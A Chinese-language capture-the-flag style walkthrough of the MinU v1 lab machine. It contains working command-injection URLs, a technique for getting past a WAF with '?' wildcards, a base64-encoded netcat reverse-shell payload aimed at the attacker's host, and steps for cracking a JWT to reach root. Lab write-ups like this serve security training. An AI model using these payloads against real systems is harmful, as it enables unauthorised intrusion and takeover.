MinUv1靶机渗透

靶机下载地址:

环境:

  • 192.168.1.159-Kali Linux

  • 192.168.1.161-靶机

先用nmap查看靶机开启什么服务

只有一个http服务,丢到爆破工具中扫描后台,得到test.php

看链接以为是文件包含,试验了一下,都是403,估摸着是有waf拦截了,最后尝试了一下命令注入,发现可行

手工试了一些后,发现ls、cat这些命令无法正常执行,所以只能换个方法,在尝试的时候发现用通配符问号来代替的话,不会被waf拦截

http://192.168.1.161/test.php?file=|/b?n/c?t%20/e?c/?a??wd


从上面这一步可以知道这个waf的工作原理,所以我们只需要将敏感词部分用问号代替就可以绕过waf了

那么现在的问题是,如何通过这个命令注入让靶机执行反弹shell的命令

如果是直接nc -e /bin/sh ip port这种方式的话会被waf拦截,所以得想另外一种可执行命令的方法

后来就想到Linux管道符的特性

在Linux中,管道符左边的命令输出会作为管道符右边的命令的输入然后去执行,若存在多个则以此类推

举个例子

所以这里用base64的方式来传入执行的命令,然后在解码执行

明文:

/bin/echo "nc -e /bin/sh 192.168.1.159 4444" | /usr/bin/base64 | /bin/sh

base64编码后及过waf操作后:

/b?n/e??o bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEuMTU5IDQ0NDQg|/?s?/b??/b??e64 -d|/b?n/sh

其中bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEuMTU5IDQ0NDQg的意思就是nc -e /bin/sh 192.168.1.159 4444

随后我们得到了shell,转成tty先

python3 -c 'import pty; pty.spawn("/bin/bash")'

(注意是python3,不能直接python,神坑,这里是大佬RJ45指点了一番)

我们在/home/bob/目录下发现了一个隐藏文件._pw_

cat查看发现是一大串字符串

丢到百度上,匹配到了一个名为JWT的令牌

上官网(jwt.io)看介绍,发现这玩意是私钥加密来的

于是乎,在github上面搜jwt crack

我这里就用了第一个(https://github.com/brendan-rius/c-jwt-cracker)

按照说明配置好后,直接把api丢过去破解,一段时间后就出来了

得到密码为mlnV1,然后就可以直接切换到root用户了

文章目录
  1. 1. 靶机下载地址:
  2. 2. 环境:
,